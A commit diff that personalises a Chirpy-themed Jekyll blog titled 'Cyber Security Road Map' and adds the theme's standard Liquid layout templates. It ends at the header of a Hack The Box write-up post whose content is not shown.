Primer Repo
61
README.md
@ -1,61 +0,0 @@
|
||||
# Chirpy Starter
|
||||
|
||||
[][gem]
|
||||
[][mit]
|
||||
|
||||
When installing the [**Chirpy**][chirpy] theme through [RubyGems.org][gem], Jekyll can only read files in the folders
|
||||
`_data`, `_layouts`, `_includes`, `_sass` and `assets`, as well as a small part of options of the `_config.yml` file
|
||||
from the theme's gem. If you have ever installed this theme gem, you can use the command
|
||||
`bundle info --path jekyll-theme-chirpy` to locate these files.
|
||||
|
||||
The Jekyll team claims that this is to leave the ball in the user’s court, but this also results in users not being
|
||||
able to enjoy the out-of-the-box experience when using feature-rich themes.
|
||||
|
||||
To fully use all the features of **Chirpy**, you need to copy the other critical files from the theme's gem to your
|
||||
Jekyll site. The following is a list of targets:
|
||||
|
||||
```shell
|
||||
.
|
||||
├── _config.yml
|
||||
├── _plugins
|
||||
├── _tabs
|
||||
└── index.html
|
||||
```
|
||||
|
||||
To save you time, and also in case you lose some files while copying, we extract those files/configurations of the
|
||||
latest version of the **Chirpy** theme and the [CD][CD] workflow to here, so that you can start writing in minutes.
|
||||
|
||||
## Prerequisites
|
||||
|
||||
Follow the instructions in the [Jekyll Docs](https://jekyllrb.com/docs/installation/) to complete the installation of
|
||||
the basic environment. [Git](https://git-scm.com/) also needs to be installed.
|
||||
|
||||
## Installation
|
||||
|
||||
Sign in to GitHub and [**use this template**][use-template] to generate a brand new repository and name it
|
||||
`USERNAME.github.io`, where `USERNAME` represents your GitHub username.
|
||||
|
||||
Then clone it to your local machine and run:
|
||||
|
||||
```console
|
||||
$ bundle
|
||||
```
|
||||
|
||||
## Usage
|
||||
|
||||
Please see the [theme's docs](https://github.com/cotes2020/jekyll-theme-chirpy#documentation).
|
||||
|
||||
## Contributing
|
||||
|
||||
The contents of this repository are automatically updated when new releases are made to the [main repository][chirpy].
|
||||
If you have problems using it, or would like to participate in improving it, please go to the main repository for feedback!
|
||||
|
||||
## License
|
||||
|
||||
This work is published under [MIT][mit] License.
|
||||
|
||||
[gem]: https://rubygems.org/gems/jekyll-theme-chirpy
|
||||
[chirpy]: https://github.com/cotes2020/jekyll-theme-chirpy/
|
||||
[use-template]: https://github.com/cotes2020/chirpy-starter/generate
|
||||
[CD]: https://en.wikipedia.org/wiki/Continuous_deployment
|
||||
[mit]: https://github.com/cotes2020/chirpy-starter/blob/master/LICENSE
|
24
_config.yml
@ -9,37 +9,37 @@ theme: jekyll-theme-chirpy
|
||||
lang: en
|
||||
|
||||
# Change to your timezone › https://kevinnovak.github.io/Time-Zone-Picker
|
||||
timezone:
|
||||
timezone: America/New_York
|
||||
|
||||
# jekyll-seo-tag settings › https://github.com/jekyll/jekyll-seo-tag/blob/master/docs/usage.md
|
||||
# ↓ --------------------------
|
||||
|
||||
title: Chirpy # the main title
|
||||
title: Litio7 # the main title
|
||||
|
||||
tagline: A text-focused Jekyll theme # it will display as the sub-title
|
||||
tagline: Cyber Security Road Map # it will display as the sub-title
|
||||
|
||||
description: >- # used by seo meta and the atom feed
|
||||
A minimal, responsive and feature-rich Jekyll theme for technical writing.
|
||||
|
||||
# Fill in the protocol & hostname for your site.
|
||||
# e.g. 'https://username.github.io', note that it does not end with a '/'.
|
||||
url: ""
|
||||
url: "https://litio7.github.io"
|
||||
|
||||
github:
|
||||
username: github_username # change to your github username
|
||||
username: Litio7 # change to your github username
|
||||
|
||||
twitter:
|
||||
username: twitter_username # change to your twitter username
|
||||
username: # change to your twitter username
|
||||
|
||||
social:
|
||||
# Change to your full name.
|
||||
# It will be displayed as the default author of the posts and the copyright owner in the Footer
|
||||
name: your_full_name
|
||||
email: example@domain.com # change to your email address
|
||||
name: litio7
|
||||
email: # change to your email address
|
||||
links:
|
||||
# The first element serves as the copyright owner's link
|
||||
- https://twitter.com/username # change to your twitter homepage
|
||||
- https://github.com/username # change to your github homepage
|
||||
# - https://twitter.com/username
|
||||
- https://github.com/Litio7 # change to your github homepage
|
||||
# Uncomment below to add more social links
|
||||
# - https://www.facebook.com/username
|
||||
# - https://www.linkedin.com/in/username
|
||||
@ -93,10 +93,10 @@ theme_mode: # [light | dark]
|
||||
# will be added to all media resources (site avatar, posts' images, audio and video files) paths starting with '/'
|
||||
#
|
||||
# e.g. 'https://cdn.com'
|
||||
cdn:
|
||||
# cdn:
|
||||
|
||||
# the avatar on sidebar, support local or CORS resources
|
||||
avatar:
|
||||
avatar: /assets/img/laughing_man1.png
|
||||
|
||||
# The URL of the site-wide social preview image used in SEO `og:image` meta tag.
|
||||
# It can be overridden by a customized `page.image` in front matter.
|
||||
|
35
_layouts/archives.html
Normal file
@ -0,0 +1,35 @@
|
||||
---
|
||||
layout: page
|
||||
# The Archives of posts.
|
||||
---
|
||||
|
||||
{% include lang.html %}
|
||||
|
||||
{% assign df_strftime_m = site.data.locales[lang].df.archives.strftime | default: '/ %m' %}
|
||||
{% assign df_dayjs_m = site.data.locales[lang].df.archives.dayjs | default: '/ MM' %}
|
||||
|
||||
<div id="archives" class="pl-xl-3">
|
||||
{% for post in site.posts %}
|
||||
{% assign cur_year = post.date | date: '%Y' %}
|
||||
|
||||
{% if cur_year != last_year %}
|
||||
{% unless forloop.first %}</ul>{% endunless %}
|
||||
|
||||
<time class="year lead d-block">{{ cur_year }}</time>
|
||||
{{ '<ul class="list-unstyled">' }}
|
||||
|
||||
{% assign last_year = cur_year %}
|
||||
{% endif %}
|
||||
|
||||
<li>
|
||||
{% assign ts = post.date | date: '%s' %}
|
||||
<span class="date day" data-ts="{{ ts }}" data-df="DD">{{ post.date | date: '%d' }}</span>
|
||||
<span class="date month small text-muted ms-1" data-ts="{{ ts }}" data-df="{{ df_dayjs_m }}">
|
||||
{{ post.date | date: df_strftime_m }}
|
||||
</span>
|
||||
<a href="{{ post.url | relative_url }}">{{ post.title }}</a>
|
||||
</li>
|
||||
|
||||
{% if forloop.last %}</ul>{% endif %}
|
||||
{% endfor %}
|
||||
</div>
|
138
_layouts/categories.html
Normal file
@ -0,0 +1,138 @@
|
||||
---
|
||||
layout: page
|
||||
# All the Categories of posts
|
||||
---
|
||||
|
||||
{% include lang.html %}
|
||||
|
||||
{% assign HEAD_PREFIX = 'h_' %}
|
||||
{% assign LIST_PREFIX = 'l_' %}
|
||||
|
||||
{% assign group_index = 0 %}
|
||||
|
||||
{% assign sort_categories = site.categories | sort %}
|
||||
|
||||
{% for category in sort_categories %}
|
||||
{% assign category_name = category | first %}
|
||||
{% assign posts_of_category = category | last %}
|
||||
{% assign first_post = posts_of_category | first %}
|
||||
|
||||
{% if category_name == first_post.categories[0] %}
|
||||
{% assign sub_categories = '' | split: '' %}
|
||||
|
||||
{% for post in posts_of_category %}
|
||||
{% assign second_category = post.categories[1] %}
|
||||
{% if second_category %}
|
||||
{% unless sub_categories contains second_category %}
|
||||
{% assign sub_categories = sub_categories | push: second_category %}
|
||||
{% endunless %}
|
||||
{% endif %}
|
||||
{% endfor %}
|
||||
|
||||
{% assign sub_categories = sub_categories | sort %}
|
||||
{% assign sub_categories_size = sub_categories | size %}
|
||||
|
||||
<div class="card categories">
|
||||
<!-- top-category -->
|
||||
<div
|
||||
id="{{ HEAD_PREFIX }}{{ group_index }}"
|
||||
class="card-header d-flex justify-content-between hide-border-bottom"
|
||||
>
|
||||
<span class="ms-2">
|
||||
<i class="far fa-folder{% if sub_categories_size > 0 %}-open{% endif %} fa-fw"></i>
|
||||
|
||||
{% capture _category_url %}/categories/{{ category_name | slugify | url_encode }}/{% endcapture %}
|
||||
<a href="{{ _category_url | relative_url }}" class="mx-2">{{ category_name }}</a>
|
||||
|
||||
<!-- content count -->
|
||||
{% assign top_posts_size = site.categories[category_name] | size %}
|
||||
<span class="text-muted small font-weight-light">
|
||||
{% if sub_categories_size > 0 %}
|
||||
{{ sub_categories_size }}
|
||||
{% if sub_categories_size > 1 %}
|
||||
{{
|
||||
site.data.locales[lang].categories.category_measure.plural
|
||||
| default: site.data.locales[lang].categories.category_measure
|
||||
}}
|
||||
{% else %}
|
||||
{{
|
||||
site.data.locales[lang].categories.category_measure.singular
|
||||
| default: site.data.locales[lang].categories.category_measure
|
||||
}}
|
||||
{% endif -%}
|
||||
,
|
||||
{% endif %}
|
||||
|
||||
{{ top_posts_size }}
|
||||
|
||||
{% if top_posts_size > 1 %}
|
||||
{{
|
||||
site.data.locales[lang].categories.post_measure.plural
|
||||
| default: site.data.locales[lang].categories.post_measure
|
||||
}}
|
||||
{% else %}
|
||||
{{
|
||||
site.data.locales[lang].categories.post_measure.singular
|
||||
| default: site.data.locales[lang].categories.post_measure
|
||||
}}
|
||||
{% endif %}
|
||||
</span>
|
||||
</span>
|
||||
|
||||
<!-- arrow -->
|
||||
{% if sub_categories_size > 0 %}
|
||||
<a
|
||||
href="#{{ LIST_PREFIX }}{{ group_index }}"
|
||||
data-bs-toggle="collapse"
|
||||
aria-expanded="true"
|
||||
aria-label="{{ HEAD_PREFIX }}{{ group_index }}-trigger"
|
||||
class="category-trigger hide-border-bottom"
|
||||
>
|
||||
<i class="fas fa-fw fa-angle-down"></i>
|
||||
</a>
|
||||
{% else %}
|
||||
<span data-bs-toggle="collapse" class="category-trigger hide-border-bottom disabled">
|
||||
<i class="fas fa-fw fa-angle-right"></i>
|
||||
</span>
|
||||
{% endif %}
|
||||
</div>
|
||||
<!-- .card-header -->
|
||||
|
||||
<!-- Sub-categories -->
|
||||
{% if sub_categories_size > 0 %}
|
||||
<div id="{{ LIST_PREFIX }}{{ group_index }}" class="collapse show" aria-expanded="true">
|
||||
<ul class="list-group">
|
||||
{% for sub_category in sub_categories %}
|
||||
<li class="list-group-item">
|
||||
<i class="far fa-folder fa-fw"></i>
|
||||
|
||||
{% capture _sub_ctg_url %}/categories/{{ sub_category | slugify | url_encode }}/{% endcapture %}
|
||||
<a href="{{ _sub_ctg_url | relative_url }}" class="mx-2">{{ sub_category }}</a>
|
||||
|
||||
{% assign posts_size = site.categories[sub_category] | size %}
|
||||
<span class="text-muted small font-weight-light">
|
||||
{{ posts_size }}
|
||||
|
||||
{% if posts_size > 1 %}
|
||||
{{
|
||||
site.data.locales[lang].categories.post_measure.plural
|
||||
| default: site.data.locales[lang].categories.post_measure
|
||||
}}
|
||||
{% else %}
|
||||
{{
|
||||
site.data.locales[lang].categories.post_measure.singular
|
||||
| default: site.data.locales[lang].categories.post_measure
|
||||
}}
|
||||
{% endif %}
|
||||
</span>
|
||||
</li>
|
||||
{% endfor %}
|
||||
</ul>
|
||||
</div>
|
||||
{% endif %}
|
||||
</div>
|
||||
<!-- .card -->
|
||||
|
||||
{% assign group_index = group_index | plus: 1 %}
|
||||
{% endif %}
|
||||
{% endfor %}
|
24
_layouts/category.html
Normal file
@ -0,0 +1,24 @@
|
||||
---
|
||||
layout: page
|
||||
# The Category layout
|
||||
---
|
||||
|
||||
{% include lang.html %}
|
||||
|
||||
<div id="page-category">
|
||||
<h1 class="ps-lg-2">
|
||||
<i class="far fa-folder-open fa-fw text-muted"></i>
|
||||
{{ page.title }}
|
||||
<span class="lead text-muted ps-2">{{ page.posts | size }}</span>
|
||||
</h1>
|
||||
|
||||
<ul class="content ps-0">
|
||||
{% for post in page.posts %}
|
||||
<li class="d-flex justify-content-between px-md-3">
|
||||
<a href="{{ post.url | relative_url }}">{{ post.title }}</a>
|
||||
<span class="dash flex-grow-1"></span>
|
||||
{% include datetime.html date=post.date class='text-muted small text-nowrap' lang=lang %}
|
||||
</li>
|
||||
{% endfor %}
|
||||
</ul>
|
||||
</div>
|
10
_layouts/compress.html
Normal file
@ -0,0 +1,10 @@
|
||||
---
|
||||
# Jekyll layout that compresses HTML
|
||||
# v3.2.0
|
||||
# http://jch.penibelst.de/
|
||||
# © 2014–2015 Anatol Broder
|
||||
# MIT License
|
||||
---
|
||||
|
||||
{% capture _LINE_FEED %}
|
||||
{% endcapture %}{% if site.compress_html.ignore.envs contains jekyll.environment or site.compress_html.ignore.envs == "all" or page.compress_html == false %}{{ content }}{% else %}{% capture _content %}{{ content }}{% endcapture %}{% assign _profile = site.compress_html.profile %}{% if site.compress_html.endings == "all" %}{% assign _endings = "html head body li dt dd optgroup option colgroup caption thead tbody tfoot tr td th" | split: " " %}{% else %}{% assign _endings = site.compress_html.endings %}{% endif %}{% for _element in _endings %}{% capture _end %}</{{ _element }}>{% endcapture %}{% assign _content = _content | remove: _end %}{% endfor %}{% if _profile and _endings %}{% assign _profile_endings = _content | size | plus: 1 %}{% endif %}{% for _element in site.compress_html.startings %}{% capture _start %}<{{ _element }}>{% endcapture %}{% assign _content = _content | remove: _start %}{% endfor %}{% if _profile and site.compress_html.startings %}{% assign _profile_startings = _content | size | plus: 1 %}{% endif %}{% if site.compress_html.comments == "all" %}{% assign _comments = "<!-- -->" | split: " " %}{% else %}{% assign _comments = site.compress_html.comments %}{% endif %}{% if _comments.size == 2 %}{% capture _comment_befores %}.{{ _content }}{% endcapture %}{% assign _comment_befores = _comment_befores | split: _comments.first %}{% for _comment_before in _comment_befores %}{% if forloop.first %}{% continue %}{% endif %}{% capture _comment_outside %}{% if _carry %}{{ _comments.first }}{% endif %}{{ _comment_before }}{% endcapture %}{% capture _comment %}{% unless _carry %}{{ _comments.first }}{% endunless %}{{ _comment_outside | split: _comments.last | first }}{% if _comment_outside contains _comments.last %}{{ _comments.last }}{% assign _carry = false %}{% else %}{% assign _carry = true %}{% endif %}{% endcapture %}{% assign _content = _content | remove_first: _comment %}{% endfor %}{% if _profile %}{% assign _profile_comments = _content | size | plus: 1 %}{% endif %}{% endif %}{% assign _pre_befores = _content | split: "<pre" %}{% assign _content = "" %}{% for _pre_before in _pre_befores %}{% assign _pres = _pre_before | split: "</pre>" %}{% assign _pres_after = "" %}{% if _pres.size != 0 %}{% if site.compress_html.blanklines %}{% assign _lines = _pres.last | split: _LINE_FEED %}{% capture _pres_after %}{% for _line in _lines %}{% assign _trimmed = _line | split: " " | join: " " %}{% if _trimmed != empty or forloop.last %}{% unless forloop.first %}{{ _LINE_FEED }}{% endunless %}{{ _line }}{% endif %}{% endfor %}{% endcapture %}{% else %}{% assign _pres_after = _pres.last | split: " " | join: " " %}{% endif %}{% endif %}{% capture _content %}{{ _content }}{% if _pre_before contains "</pre>" %}<pre{{ _pres.first }}</pre>{% endif %}{% unless _pre_before contains "</pre>" and _pres.size == 1 %}{{ _pres_after }}{% endunless %}{% endcapture %}{% endfor %}{% if _profile %}{% assign _profile_collapse = _content | size | plus: 1 %}{% endif %}{% if site.compress_html.clippings == "all" %}{% assign _clippings = "html head title base link meta style body article section nav aside h1 h2 h3 h4 h5 h6 hgroup header footer address p hr blockquote ol ul li dl dt dd figure figcaption main div table caption colgroup col tbody thead tfoot tr td th" | split: " " %}{% else %}{% assign _clippings = site.compress_html.clippings %}{% endif %}{% for _element in _clippings %}{% assign _edges = " <e;<e; </e>;</e>;</e> ;</e>" | replace: "e", _element | split: ";" %}{% assign _content = _content | replace: _edges[0], _edges[1] | replace: _edges[2], _edges[3] | replace: _edges[4], _edges[5] %}{% endfor %}{% if _profile and _clippings %}{% assign _profile_clippings = _content | size | plus: 1 %}{% endif %}{{ _content }}{% if _profile %} <table id="compress_html_profile_{{ site.time | date: "%Y%m%d" }}" class="compress_html_profile"> <thead> <tr> <td>Step <td>Bytes <tbody> <tr> <td>raw <td>{{ content | size }}{% if _profile_endings %} <tr> <td>endings <td>{{ _profile_endings }}{% endif %}{% if _profile_startings %} <tr> <td>startings <td>{{ _profile_startings }}{% endif %}{% if _profile_comments %} <tr> <td>comments <td>{{ _profile_comments }}{% endif %}{% if _profile_collapse %} <tr> <td>collapse <td>{{ _profile_collapse }}{% endif %}{% if _profile_clippings %} <tr> <td>clippings <td>{{ _profile_clippings }}{% endif %} </table>{% endif %}{% endif %}
|
82
_layouts/default.html
Normal file
@ -0,0 +1,82 @@
|
||||
---
|
||||
layout: compress
|
||||
---
|
||||
|
||||
<!doctype html>
|
||||
|
||||
{% include origin-type.html %}
|
||||
|
||||
{% include lang.html %}
|
||||
|
||||
{% if site.theme_mode %}
|
||||
{% capture prefer_mode %}data-mode="{{ site.theme_mode }}"{% endcapture %}
|
||||
{% endif %}
|
||||
|
||||
<!-- `site.alt_lang` can specify a language different from the UI -->
|
||||
<html lang="{{ page.lang | default: site.alt_lang | default: site.lang }}" {{ prefer_mode }}>
|
||||
{% include head.html %}
|
||||
|
||||
<body>
|
||||
{% include sidebar.html lang=lang %}
|
||||
|
||||
<div id="main-wrapper" class="d-flex justify-content-center">
|
||||
<div class="container d-flex flex-column px-xxl-5">
|
||||
{% include topbar.html lang=lang %}
|
||||
|
||||
<div class="row flex-grow-1">
|
||||
<main aria-label="Main Content" class="col-12 col-lg-11 col-xl-9 px-md-4">
|
||||
{% if layout.refactor or layout.layout == 'default' %}
|
||||
{% include refactor-content.html content=content lang=lang %}
|
||||
{% else %}
|
||||
{{ content }}
|
||||
{% endif %}
|
||||
</main>
|
||||
|
||||
<!-- panel -->
|
||||
<aside aria-label="Panel" id="panel-wrapper" class="col-xl-3 ps-2 mb-5 text-muted">
|
||||
<div class="access">
|
||||
{% include_cached update-list.html lang=lang %}
|
||||
{% include_cached trending-tags.html lang=lang %}
|
||||
</div>
|
||||
|
||||
{% for _include in layout.panel_includes %}
|
||||
{% assign _include_path = _include | append: '.html' %}
|
||||
{% include {{ _include_path }} lang=lang %}
|
||||
{% endfor %}
|
||||
</aside>
|
||||
</div>
|
||||
|
||||
<div class="row">
|
||||
<!-- tail -->
|
||||
<div id="tail-wrapper" class="col-12 col-lg-11 col-xl-9 px-md-4">
|
||||
{% for _include in layout.tail_includes %}
|
||||
{% assign _include_path = _include | append: '.html' %}
|
||||
{% include {{ _include_path }} lang=lang %}
|
||||
{% endfor %}
|
||||
|
||||
{% include_cached footer.html lang=lang %}
|
||||
</div>
|
||||
</div>
|
||||
|
||||
{% include_cached search-results.html lang=lang %}
|
||||
</div>
|
||||
|
||||
<aside aria-label="Scroll to Top">
|
||||
<button id="back-to-top" type="button" class="btn btn-lg btn-box-shadow">
|
||||
<i class="fas fa-angle-up"></i>
|
||||
</button>
|
||||
</aside>
|
||||
</div>
|
||||
|
||||
<div id="mask"></div>
|
||||
|
||||
{% if site.pwa.enabled %}
|
||||
{% include_cached notification.html lang=lang %}
|
||||
{% endif %}
|
||||
|
||||
<!-- JavaScripts -->
|
||||
{% include js-selector.html lang=lang %}
|
||||
|
||||
{% include_cached search-loader.html lang=lang %}
|
||||
</body>
|
||||
</html>
|
115
_layouts/home.html
Normal file
@ -0,0 +1,115 @@
|
||||
---
|
||||
layout: default
|
||||
refactor: true
|
||||
---
|
||||
|
||||
{% include lang.html %}
|
||||
|
||||
{% assign pinned = site.posts | where: 'pin', 'true' %}
|
||||
{% assign default = site.posts | where_exp: 'item', 'item.pin != true and item.hidden != true' %}
|
||||
|
||||
{% assign posts = '' | split: '' %}
|
||||
|
||||
<!-- Get pinned posts -->
|
||||
|
||||
{% assign offset = paginator.page | minus: 1 | times: paginator.per_page %}
|
||||
{% assign pinned_num = pinned.size | minus: offset %}
|
||||
|
||||
{% if pinned_num > 0 %}
|
||||
{% for i in (offset..pinned.size) limit: pinned_num %}
|
||||
{% assign posts = posts | push: pinned[i] %}
|
||||
{% endfor %}
|
||||
{% else %}
|
||||
{% assign pinned_num = 0 %}
|
||||
{% endif %}
|
||||
|
||||
<!-- Get default posts -->
|
||||
|
||||
{% assign default_beg = offset | minus: pinned.size %}
|
||||
|
||||
{% if default_beg < 0 %}
|
||||
{% assign default_beg = 0 %}
|
||||
{% endif %}
|
||||
|
||||
{% assign default_num = paginator.posts | size | minus: pinned_num %}
|
||||
{% assign default_end = default_beg | plus: default_num | minus: 1 %}
|
||||
|
||||
{% if default_num > 0 %}
|
||||
{% for i in (default_beg..default_end) %}
|
||||
{% assign posts = posts | push: default[i] %}
|
||||
{% endfor %}
|
||||
{% endif %}
|
||||
|
||||
<div id="post-list" class="flex-grow-1 px-xl-1">
|
||||
{% for post in posts %}
|
||||
<article class="card-wrapper card">
|
||||
<a href="{{ post.url | relative_url }}" class="post-preview row g-0 flex-md-row-reverse">
|
||||
{% assign card_body_col = '12' %}
|
||||
|
||||
{% if post.image %}
|
||||
{% assign src = post.image.path | default: post.image %}
|
||||
{% unless src contains '//' %}
|
||||
{% assign src = post.media_subpath | append: '/' | append: src | replace: '//', '/' %}
|
||||
{% endunless %}
|
||||
|
||||
{% assign alt = post.image.alt | xml_escape | default: 'Preview Image' %}
|
||||
|
||||
{% assign lqip = null %}
|
||||
|
||||
{% if post.image.lqip %}
|
||||
{% capture lqip %}lqip="{{ post.image.lqip }}"{% endcapture %}
|
||||
{% endif %}
|
||||
|
||||
<div class="col-md-5">
|
||||
<img src="{{ src }}" alt="{{ alt }}" {{ lqip }}>
|
||||
</div>
|
||||
|
||||
{% assign card_body_col = '7' %}
|
||||
{% endif %}
|
||||
|
||||
<div class="col-md-{{ card_body_col }}">
|
||||
<div class="card-body d-flex flex-column">
|
||||
<h1 class="card-title my-2 mt-md-0">{{ post.title }}</h1>
|
||||
|
||||
<div class="card-text content mt-0 mb-3">
|
||||
<p>{% include post-description.html %}</p>
|
||||
</div>
|
||||
|
||||
<div class="post-meta flex-grow-1 d-flex align-items-end">
|
||||
<div class="me-auto">
|
||||
<!-- posted date -->
|
||||
<i class="far fa-calendar fa-fw me-1"></i>
|
||||
{% include datetime.html date=post.date lang=lang %}
|
||||
|
||||
<!-- categories -->
|
||||
{% if post.categories.size > 0 %}
|
||||
<i class="far fa-folder-open fa-fw me-1"></i>
|
||||
<span class="categories">
|
||||
{% for category in post.categories %}
|
||||
{{ category }}
|
||||
{%- unless forloop.last -%},{%- endunless -%}
|
||||
{% endfor %}
|
||||
</span>
|
||||
{% endif %}
|
||||
</div>
|
||||
|
||||
{% if post.pin %}
|
||||
<div class="pin ms-1">
|
||||
<i class="fas fa-thumbtack fa-fw"></i>
|
||||
<span>{{ site.data.locales[lang].post.pin_prompt }}</span>
|
||||
</div>
|
||||
{% endif %}
|
||||
</div>
|
||||
<!-- .post-meta -->
|
||||
</div>
|
||||
<!-- .card-body -->
|
||||
</div>
|
||||
</a>
|
||||
</article>
|
||||
{% endfor %}
|
||||
</div>
|
||||
<!-- #post-list -->
|
||||
|
||||
{% if paginator.total_pages > 1 %}
|
||||
{% include post-paginator.html %}
|
||||
{% endif %}
|
20
_layouts/page.html
Normal file
@ -0,0 +1,20 @@
|
||||
---
|
||||
layout: default
|
||||
---
|
||||
|
||||
{% include lang.html %}
|
||||
|
||||
<article class="px-1">
|
||||
{% if page.layout == 'page' or page.collection == 'tabs' %}
|
||||
{% assign tab_key = page.title | downcase %}
|
||||
{% assign title = site.data.locales[lang].tabs[tab_key] | default: page.title %}
|
||||
<h1 class="dynamic-title">
|
||||
{{ title }}
|
||||
</h1>
|
||||
<div class="content">
|
||||
{{ content }}
|
||||
</div>
|
||||
{% else %}
|
||||
{{ content }}
|
||||
{% endif %}
|
||||
</article>
|
152
_layouts/post.html
Normal file
@ -0,0 +1,152 @@
|
||||
---
|
||||
layout: default
|
||||
refactor: true
|
||||
panel_includes:
|
||||
- toc
|
||||
tail_includes:
|
||||
- related-posts
|
||||
- post-nav
|
||||
- comments
|
||||
---
|
||||
|
||||
{% include lang.html %}
|
||||
|
||||
<article class="px-1">
|
||||
<header>
|
||||
<h1 data-toc-skip>{{ page.title }}</h1>
|
||||
{% if page.description %}
|
||||
<p class="post-desc fw-light mb-4">{{ page.description }}</p>
|
||||
{% endif %}
|
||||
|
||||
<div class="post-meta text-muted">
|
||||
<!-- published date -->
|
||||
<span>
|
||||
{{ site.data.locales[lang].post.posted }}
|
||||
{% include datetime.html date=page.date tooltip=true lang=lang %}
|
||||
</span>
|
||||
|
||||
<!-- lastmod date -->
|
||||
{% if page.last_modified_at and page.last_modified_at != page.date %}
|
||||
<span>
|
||||
{{ site.data.locales[lang].post.updated }}
|
||||
{% include datetime.html date=page.last_modified_at tooltip=true lang=lang %}
|
||||
</span>
|
||||
{% endif %}
|
||||
|
||||
{% if page.image %}
|
||||
{% capture src %}src="{{ page.image.path | default: page.image }}"{% endcapture %}
|
||||
{% capture class %}class="preview-img{% if page.image.no_bg %}{{ ' no-bg' }}{% endif %}"{% endcapture %}
|
||||
{% capture alt %}alt="{{ page.image.alt | xml_escape | default: "Preview Image" }}"{% endcapture %}
|
||||
|
||||
{% if page.image.lqip %}
|
||||
{%- capture lqip -%}lqip="{{ page.image.lqip }}"{%- endcapture -%}
|
||||
{% endif %}
|
||||
|
||||
<div class="mt-3 mb-3">
|
||||
<img {{ src }} {{ class }} {{ alt }} w="1200" h="630" {{ lqip }}>
|
||||
{%- if page.image.alt -%}
|
||||
<figcaption class="text-center pt-2 pb-2">{{ page.image.alt }}</figcaption>
|
||||
{%- endif -%}
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
<div class="d-flex justify-content-between">
|
||||
<!-- author(s) -->
|
||||
<span>
|
||||
{% if page.author %}
|
||||
{% assign authors = page.author %}
|
||||
{% elsif page.authors %}
|
||||
{% assign authors = page.authors %}
|
||||
{% endif %}
|
||||
|
||||
{{ site.data.locales[lang].post.written_by }}
|
||||
|
||||
<em>
|
||||
{% if authors %}
|
||||
{% for author in authors %}
|
||||
{% if site.data.authors[author].url -%}
|
||||
<a href="{{ site.data.authors[author].url }}">{{ site.data.authors[author].name }}</a>
|
||||
{%- else -%}
|
||||
{{ site.data.authors[author].name }}
|
||||
{%- endif %}
|
||||
{% unless forloop.last %}{{ '</em>, <em>' }}{% endunless %}
|
||||
{% endfor %}
|
||||
{% else %}
|
||||
<a href="{{ site.social.links[0] }}">{{ site.social.name }}</a>
|
||||
{% endif %}
|
||||
</em>
|
||||
</span>
|
||||
|
||||
<div>
|
||||
<!-- pageviews -->
|
||||
{% if site.pageviews.provider and site.analytics[site.pageviews.provider].id %}
|
||||
<span>
|
||||
<em id="pageviews">
|
||||
<i class="fas fa-spinner fa-spin small"></i>
|
||||
</em>
|
||||
{{ site.data.locales[lang].post.pageview_measure }}
|
||||
</span>
|
||||
{% endif %}
|
||||
|
||||
<!-- read time -->
|
||||
{% include read-time.html content=content prompt=true lang=lang %}
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<div class="content">
|
||||
{{ content }}
|
||||
</div>
|
||||
|
||||
<div class="post-tail-wrapper text-muted">
|
||||
<!-- categories -->
|
||||
{% if page.categories.size > 0 %}
|
||||
<div class="post-meta mb-3">
|
||||
<i class="far fa-folder-open fa-fw me-1"></i>
|
||||
{% for category in page.categories %}
|
||||
<a href="{{ site.baseurl }}/categories/{{ category | slugify | url_encode }}/">{{ category }}</a>
|
||||
{%- unless forloop.last -%},{%- endunless -%}
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
<!-- tags -->
|
||||
{% if page.tags.size > 0 %}
|
||||
<div class="post-tags">
|
||||
<i class="fa fa-tags fa-fw me-1"></i>
|
||||
{% for tag in page.tags %}
|
||||
<a
|
||||
href="{{ site.baseurl }}/tags/{{ tag | slugify | url_encode }}/"
|
||||
class="post-tag no-text-decoration"
|
||||
>
|
||||
{{- tag -}}
|
||||
</a>
|
||||
{% endfor %}
|
||||
</div>
|
||||
{% endif %}
|
||||
|
||||
<div
|
||||
class="
|
||||
post-tail-bottom
|
||||
d-flex justify-content-between align-items-center mt-5 pb-2
|
||||
"
|
||||
>
|
||||
<div class="license-wrapper">
|
||||
{% if site.data.locales[lang].copyright.license.template %}
|
||||
{% capture _replacement %}
|
||||
<a href="{{ site.data.locales[lang].copyright.license.link }}">
|
||||
{{ site.data.locales[lang].copyright.license.name }}
|
||||
</a>
|
||||
{% endcapture %}
|
||||
|
||||
{{ site.data.locales[lang].copyright.license.template | replace: ':LICENSE_NAME', _replacement }}
|
||||
{% endif %}
|
||||
</div>
|
||||
|
||||
{% include post-sharing.html lang=lang %}
|
||||
</div>
|
||||
<!-- .post-tail-bottom -->
|
||||
</div>
|
||||
<!-- div.post-tail-wrapper -->
|
||||
</article>
|
23
_layouts/tag.html
Normal file
@ -0,0 +1,23 @@
|
||||
---
|
||||
layout: page
|
||||
# The layout for Tag page
|
||||
---
|
||||
|
||||
{% include lang.html %}
|
||||
|
||||
<div id="page-tag">
|
||||
<h1 class="ps-lg-2">
|
||||
<i class="fa fa-tag fa-fw text-muted"></i>
|
||||
{{ page.title }}
|
||||
<span class="lead text-muted ps-2">{{ page.posts | size }}</span>
|
||||
</h1>
|
||||
<ul class="content ps-0">
|
||||
{% for post in page.posts %}
|
||||
<li class="d-flex justify-content-between px-md-3">
|
||||
<a href="{{ post.url | relative_url }}">{{ post.title }}</a>
|
||||
<span class="dash flex-grow-1"></span>
|
||||
{% include datetime.html date=post.date class='text-muted small text-nowrap' lang=lang %}
|
||||
</li>
|
||||
{% endfor %}
|
||||
</ul>
|
||||
</div>
|
22
_layouts/tags.html
Normal file
@ -0,0 +1,22 @@
|
||||
---
|
||||
layout: page
|
||||
# All the Tags of posts.
|
||||
---
|
||||
|
||||
<div id="tags" class="d-flex flex-wrap mx-xl-2">
|
||||
{% assign tags = '' | split: '' %}
|
||||
{% for t in site.tags %}
|
||||
{% assign tags = tags | push: t[0] %}
|
||||
{% endfor %}
|
||||
|
||||
{% assign sorted_tags = tags | sort_natural %}
|
||||
|
||||
{% for t in sorted_tags %}
|
||||
<div>
|
||||
<a class="tag" href="{{ t | slugify | url_encode | prepend: '/tags/' | append: '/' | relative_url }}">
|
||||
{{ t -}}
|
||||
<span class="text-muted">{{ site.tags[t].size }}</span>
|
||||
</a>
|
||||
</div>
|
||||
{% endfor %}
|
||||
</div>
|
129
_posts/2024-08-08-htb-writeup-keeper.md
Normal file
@ -0,0 +1,129 @@
